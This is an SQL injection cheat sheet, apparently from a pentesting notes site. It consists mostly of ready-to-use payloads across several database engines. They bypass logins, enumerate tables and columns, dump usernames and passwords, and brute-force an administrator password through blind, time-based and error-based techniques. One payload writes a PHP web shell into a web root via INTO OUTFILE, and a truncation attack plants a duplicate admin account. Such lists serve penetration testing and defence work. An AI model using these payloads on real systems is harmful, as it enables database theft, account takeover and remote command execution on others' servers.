SQL Injection Cheat Sheet
Last modified: 2023-03-26
SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution.
Comment Syntax
Comment syntax is depending on what SQL is used in target website.
MySQL
-- -
--+
#
MSSQL, Oracle, PostgreSQL, SQLite
--
Basic Injection
First off, check if we can inject SQL commands into forms or URL params in the target website.
' OR 1=1--
' OR 1=1-- -
' OR 1=1#
' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#
' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#
" OR 1=1--
" OR 1=1-- -
" OR 1=1#
') OR 1=1--
') OR 1=1-- -
') OR 1=1#
admin or 1=1--
admin or 1=1-- -
admin or 1=1#
Version Detection
MSSQL
' UNION SELECT @@version--
' UNION SELECT NULL,@@version--
MySQL
' UNION SELECT @@version-- -
' UNION SELECT @@version#
' UNION SELECT NULL,@@version-- -
' UNION SELECT NULL,@@version#
Oracle
' UNION SELECT 'a' FROM dual--
' UNION SELECT 'a','b' FROM dual--
' UNION SELECT * FROM v$version--
' UNION SELECT BANNER,NULL FROM v$version--
PostgreSQL
' UNION SELECT version()--
' UNION SELECT NULL,version()--
SQLite
' UNION SELECT sqlite_version()--
' UNION SELECT sqlite_version(),NULL--
Detect Number of Columns
The following commands detect the number of the columns in the database.
' UNION SELECT NULL--
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,'a',NULL-- -
' UNION SELECT NULL,NULL,'a'--
' UNION SELECT NULL,NULL,'a'-- -
UNION ALL
We can combine the result of the query into the one column by using “UNION ALL” syntax.
' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -
List Table Names
Get the table name in which you want to get the information.
MSSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT table_name,NULL FROM information_schema.tables#
<!-- group_concat(): Dump all tables simultaneously -->
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#
PostgreSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
Oracle
' UNION SELECT table_name,NULL FROM all_tables--
SQLite
' UNION SELECT tbl_name FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master--
List Column Names
Get column names from the table name which we got.
MSSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
MySQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#
PostgreSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
Oracle
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--
SQLite
' UNION SELECT column
List Information in the Table
Get information in the table.
For instance, suppose we want to get the username and password from the table named 'users'.
' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -
' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -
BINARY: Sensitive to upper case and lower case.
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -
Dumping Table
' UNION SELECT table_name FROM table_name--
' UNION SELECT table_name,NULL FROM table_name--
Blind SQL
1. Check if the SQL Injection Works
' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a
2. Check if Content Value Exists
For example, check if username 'administrator' exists in 'users'
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
If so, determine the password length
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
...
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a
Brute force password's character
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
...
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$
Blind SQL (Time-based)
1. First Check
-
MySQL
' AND sleep(5)-- -
-
PostgreSQL
'||pg_sleep(10)-- '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- '; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
2. Check if Content Value Exists
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
If so, determine the password length
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Brute force password character
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Conditional Error
1. First Check
'
''
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM fake_table)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1||'
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'|| (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
2. Check if Content Value Exists
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
If so, determine the password length
''||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
''||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
''||(SELECT CASE WHEN LENGTH(password)=8 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Brute force password character
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
'||(SELECT CASE WHEN SUBSTR(password,8,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Writing Files
- Write new php file. '0x3C3F...' is a hex value means "<?php system($_GET["cmd"]) ?>"
- Accessing to http://10.0.0.1/shell.php?cmd=whoami
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E-- -
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#
XPATH Injection
MySQL
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,1,16) FROM users)),null)-- -
If the error result appears such like the following, we retrieved the piece of the password hash.
XPATH syntax error: ':3ac6b24dc611a692'
So we can find the remaining of the password hash by injecting below command.
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,17,32) FROM users)),null)-- -
Truncation Attack
We can add another user which is the same name as the existing user by registering the same name user with enough “spaces” to truncate a username.
First off, check the table schema if can.
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
Now send POST request with a payload to create a new admin.
# POST request
POST /create-user HTTP/1.1
# Create another new "admin" with more than 64 characters. Btw, "+" means the spaces.
username=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++random&password=password
Then check if we can login with a new admin.
username=admin&password=password
Fetch the admin's information with the original password.
SELECT * FROM users WHERE username='admin';
# It should return the values are the real admin's information.
username = admin
password = <REAL_ADMIN_PASSWORD>